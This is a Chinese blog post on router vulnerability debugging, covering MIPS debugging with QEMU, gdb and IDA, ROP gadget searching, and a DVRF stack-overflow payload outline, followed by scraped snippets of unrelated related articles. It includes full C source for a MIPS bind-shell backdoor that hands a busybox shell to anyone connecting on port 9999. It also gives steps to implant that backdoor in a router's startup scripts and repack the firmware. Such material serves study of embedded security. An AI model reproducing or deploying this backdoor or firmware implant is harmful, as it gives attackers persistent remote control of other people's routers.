路由器漏洞调试的一些技巧

mips 指令集特性

1 没有push pop指令

2 所有指令都是32位,4字节对齐



mips 动态调试

1 IDA

./qemu-mipsel -g 23946 ./xxx

IDA 上选择Remote GDB debuffer

2 gdb-multiarch

qemu-mipsel -L . -g 23946 ./xxx

注意要切换到路由器文件系统根目录

gdb-multiarch ./xxx

set architecture mips

target remote 127.0.0.1:23946



叶子函数和非叶子函数的概念

1 如果一个函数不调用其他函数(库函数也算在内),这个函数就是叶子函数

2 区分叶子函数的概念是因为在mips中,叶子函数的返回地址在ra寄存器中,非叶子函数的返回地址存放在栈上 ,在函数开头有如下操作: sw $ra,xxx



IDA 插件 mipsrop 用法

mipsrop.stackfinder() 寻找栈数据可控的 rop,建立和 a0、a1 寄存器的关系 mipsrop.summary() 列出所有的可用 rop

mipsrop.system() 寻找命令执行的的rop

mipsrop.find(xxx) 查找 find 函数参数的 rop,类似正则匹配

mipsrop for ida 7

a = MIPSROPFinder().stackfinder()



qemu-user 使用的两种方法

1 需要静态编译且符合目标位数

复制qemu程序到当前目录

sudo chroot . ./qemu-mipsel-static ./xxx arg

2 没有特殊要求

qemu-mipsel -L . ./xxx arg



mips 基本栈溢出

1 DVRF stack_bof_01

确定偏移 204

确定shell函数地址

1 由于shell函数开头有一些对gp寄存器的引用,直接跳过开头几个指令的地址即可

2 或者利用rop利用t9 寄存器跳过去

1 寻找lw $t9

2 payload = padding + gadget_lw_t9 + shell_func



qemu 指定架构编译

make clean

./configure --target-list=arm-softmmu,mips-softmmu,mipsel-softmmu,arm-linux-user,mips-linux-user,mipsel-linux-user --static

make -j2

sudo make install

2.4 比较稳定,刚开始用apt安装的版本,能跑程序,但是gdb附加上去就出问题

https://download.qemu.org/



利用FMK修改固件

1 提取文件系统

./extract-firmware.sh Dlink_firmware.bin

2 查看固件程序的架构,大小端,位数。编译后门

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#define SERVER_PORT 9999

/* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)

* Bind Shell using Fork for my TP-Link mr3020 router running

busybox

* Arch : MIPS

* mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -

march=24kc

*/

int main() {

int serverfd, clientfd, server_pid, i = 0;

char *banner = "[~] Welcome to @OsandaMalith‘s Bind Shell\n";

char *args[] = { "/bin/busybox", "sh", (char *) 0 };

struct sockaddr_in server, client;

socklen_t len;

server.sin_family = AF_INET;

server.sin_port = htons(SERVER_PORT);

server.sin_addr.s_addr = INADDR_ANY;

serverfd = socket(AF_INET, SOCK_STREAM, 0);

bind(serverfd, (struct sockaddr *)&server, sizeof(server));

listen(serverfd, 1);

while (1) {

len = sizeof(struct sockaddr);

clientfd = accept(serverfd, (struct sockaddr *)&client,

&len);

server_pid = fork();

if (server_pid) {

write(clientfd, banner, strlen(banner));

for(; i <3 /*u*/; i++) dup2(clientfd, i);

execve("/bin/busybox", args, (char *) 0);

close(clientfd);

} close(clientfd);

} return 0;

}

3 找到启动过程中自动执行的脚本,讲后门放到文件系统中,修改脚本

4 ./build-firmware-sh Dlink_firmware/ -nopad -min

原文地址:https://www.cnblogs.com/junmoxiao/p/11762250.html

时间: 2024-10-11 13:39:09

路由器漏洞调试的一些技巧的相关文章

flash漏洞调试技巧

本周中心抓到一个在野的flash 0day(相关信息见此链接),于是又捡起了一年多的flash 漏洞的相关知识,遂总结一下. 普通的trace 调试flasher样本一般建议使用调试版的flash player,在调试版本下可以输出swf文件运行时的相关日志,便于进行相关的分析,安装之后会在家目录(C:\User\<your name>mm.cfg)生成该文件(早期的flash调试版本不会生成该文件,需要手动生成). 文件中包含以下配置选项,手动生成的话红色框中的选项为必选项,用于告诉flas

Visual Studio调试之断点技巧篇补遗

原文链接地址:http://blog.csdn.net/Donjuan/article/details/4649372 讲完Visual Studio调试之断点技巧篇以后,翻翻以前看得一些资料和自己写的一些文章,发现还有几个关于中断程序的技巧在前面的文章里面遗漏了,决定还是在这里总结一下.当然啦,如果你知道这些技巧,忽略这篇文章好了,:) 在程序启动的时候将调试器附加上去 可能有人会对这个问题有一些争议,因为大部分情况下我们只需要在调试器(Debugger)里面直接启动被调试程序(Debugge

js调试系列: 调试基础与技巧

js调试系列目录: - 昨天我们见识到了断点的强悍,在断点的配合下进行动态调试,让读代码变的轻松不少,特别是ajax之类的.在昨天的课后练习中,确实增加了不少难度,因为 提交评论 按钮是用 jQuery 绑定的事件.所以不能直接在元素上看到函数调用,也没办法一下子定位到函数源码处.如果找不到源码位置,我们就没法下断点进行动态调试了.我们来做下昨天的练习吧,先找到他的事件源码.没发现任何有价值的东西,只是一个很普通的节点而已..如果不是通过 onclick 绑定是函数,我们没法直接找到他的源码处,

D-Link系列路由器漏洞挖掘入门

D-Link系列路由器漏洞挖掘入门 前言 前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能在下面喊 6666,特别羡慕那些大神们.所以回来就决定好好研究一下路由器,争取跟上大神们的步伐.看网上公开的D-Link系列的漏洞也不少,那就从D-Link路由器漏洞开始学习. 准备工作 既然要挖路由器漏洞,首先要搞到路由器的固件. D-Link路由器固件下载地址: ftp://ftp2.dlink.com/PRODUCTS/ 下载完固件发现是个压缩包,解压之后里面还是有一个bin

锐捷路由器漏洞分析

0x00 前言 今早看到关于锐捷路由器漏洞CNVD-2018-06947 被披露POC,对于POC进行复现后,继续挖掘路由器漏洞. 0x01 复现 通过测试发现POC只能执行VERSION,也就是查看版本.复现的截图如下: 这个命令执行只能查看版本的感觉不太过瘾,只好尝试去挖掘漏洞. 0x02 漏洞挖掘 在NBR1300G-E存在COOKIE会话固定漏洞,利用这个漏洞结合命令执行接口,就是newcli.php 这个文件.最后导致命令执行. 经过测试发现,只能直接与路由器命令执行交互,能够执行路由

路由器漏洞挖掘环境搭建

详细的路由器漏洞分析环境搭建教程 http://chuansong.me/n/864762852648 嵌入式Linux固件模拟与安全分析系统Firmadyne交流 http://chuansong.me/n/1009525252762 优秀博文: 路由器固件安全分析技术(一) https://www.vulbox.com/knowledge/detail/?id=35      一起学习从零基础从搭建环境开始入门路由器固件安全分析的技术 路由器固件安全分析技术(二) https://www.v

腾讯大牛亲授 Web 前后端漏洞分析与防御技巧

第1章 课程介绍介绍安全问题在web开发中的重要性,并对课程整体进行介绍1-1 Web安全课程介绍1-2 项目总览 第2章 环境搭建本章节我们会搭建项目所需要的环境2-1 环境搭建上2-2 环境搭建下 第3章 前端XSS系统介绍XSS攻击的原理.危害,以真实案例讲解XSS带来过的损失,最后以实战代码讲解如何防御XSS攻击3-1 XSS介绍3-2 XSS攻击类型3-3 HTML内容和属性转义3-4 JS转义3-5 富文本 上3-6 富文本 下3-7 CSP3-8 PHP-XSS 第4章 前端CSR

Web 前后端漏洞分析与防御技巧

腾讯大牛亲授 Web 前后端漏洞分析与防御技巧 项目终于上线了,却面临安全威胁,你怕不怕?本课程以一个实战项目演示XSS.CSRF.点击劫持.SQL注入等主要安全问题和防御措施,打消你对项目安全的担忧,为自己开发的项目撑起一把保护伞. 下载地址:百度网盘下载 原文地址:https://www.cnblogs.com/hongjiaaen/p/10236688.html

IE漏洞调试之CVE-2013-3893

前言 Windows平台的漏洞挖掘和安全研究中,IE始终是绕不开的话题.IE漏洞就跟adobe系列一样经典,是学习exploit.shellcode的绝佳途径. 在IE漏洞中,UAF即Use-After-Free是最为经典的一类.UAF可以这样简单理解:A先后调用B.C.D三个子函数,B会把A的某个资源释放掉:而D由于判断不严谨即使在B把A的资源释放后依然去引用它,比如某个指针,这时D引用了很危险的悬空指针:C是个什么角色呢?我们可以通过B分配数据.所以利用方法来了:构造奇葩的数据,让A调用B,